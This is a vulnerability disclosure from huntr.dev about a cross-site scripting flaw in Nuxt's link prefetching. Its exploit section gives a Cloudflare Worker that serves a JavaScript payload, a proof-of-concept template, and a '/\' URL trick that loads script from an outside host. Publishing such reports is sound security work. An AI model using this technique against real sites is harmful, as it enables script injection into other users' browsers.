Lucene search

K
huntrOhb00131A41E5-C936-4C3F-84FC-E0E1F0E090B5
HistoryOct 27, 2022 - 12:28 p.m.

Link Preload XSS

2022-10-2712:28:52
ohb00
www.huntr.dev
17
external url check
parser differentials
load payload
prerendered site
fast connection
access-control-allow-origin
cloudflare worker example
xss
nuxtlink component
user supplied input

EPSS

0.001

Percentile

26.4%

Description

Link preloads do not effectively confirm if the requested link is external.

Parser differentials can be used to bypass existing external URL check.

Root Cause

payload.client.ts contains the following code on link prefetch:

  nuxtApp.hooks.hook('link:prefetch', (url) => 
  {
    if (!parseURL(url).protocol) {
      return loadPayload(url)
    }
  })

The loadPayload function calls _getPayloadURL on the URL, transforming the URL:

function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
  const parsed = parseURL(url)
  if (parsed.search) {
    throw new Error('Payload URL cannot contain search params: ' + url)
  }
  const hash = opts.hash || (opts.fresh ? Date.now() : '')
  return joinURL(useRuntimeConfig().app.baseURL, parsed.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}

Finally, the URL is loaded in _importPayload.

async function _importPayload (payloadURL: string) {
  if (process.server) { return null }
  const res = await import(/* webpackIgnore: true */ /* @vite-ignore */ payloadURL).catch((err) => {
    console.warn('[nuxt] Cannot load payload ', payloadURL, err)
  })
  return res?.default || null
}

By using a URL such as /\mydomain.com we can have a URL with no protocol or search params that the browser will interpret as http://mydomain.com/_payload.js?import=

There are likely other parser differentials that would lead to XSS. These can be browser dependant.

Another similar exploit is possible when the link is clicked:

  // Load payload after middleware & once final route is resolved
  useRouter().beforeResolve(async (to, from) => {
    if (to.path === from.path) { return }
    const payload = await loadPayload(to.path)
    if (!payload) { return }
    Object.assign(nuxtApp.payload.data, payload.data)
  })

This version has no protocol check, however beforeResolve is only called on same page navigations, this is also fooled by the given example.

Exploitation

This vulnerability currently only exists on prerendered sites but there seem to be plans to have this feature on all modes.

Requirements:

  • NuxtLink component with user supplied input within the href or to props
  • Link must not have prefetch disabled
  • Must be running on a prerendered site (nuxi generate)
  • Payload extraction must be enabled (default true)
  • Connection must be “fast” (not on 2g).

First, set up a server to respond with a small javascript payload and a Access-Control-Allow-Origin: * header.

Cloudflare Worker Example

export interface Env {}

export default {
    async fetch(
        request: Request,
        env: Env,
        ctx: ExecutionContext
    ): Promise<Response> 
    {
        const r = new Response("alert('xss!')")

        r.headers.set('Content-Type', "application/javascript")
        r.headers.set('Access-Control-Allow-Origin', "*")

        return r;
    },
};

Next, create a link pointing to your site with the prefix /\. E.g /\mysite.com.

XSS will trigger when the link is observed by the browser.

Proof of concept

<template>
    <div>
        &lt;NuxtLink :to="r.query.u"&gt;Your Link Here&lt;/NuxtLink&gt;
    </div>
&lt;/template&gt;

&lt;script setup lang="ts"&gt;

    const r = useRoute() as any;

&lt;/script&gt;

Navigate to URL: http://site/u?=/\io.bryces.io

EPSS

0.001

Percentile

26.4%

Related for 131A41E5-C936-4C3F-84FC-E0E1F0E090B5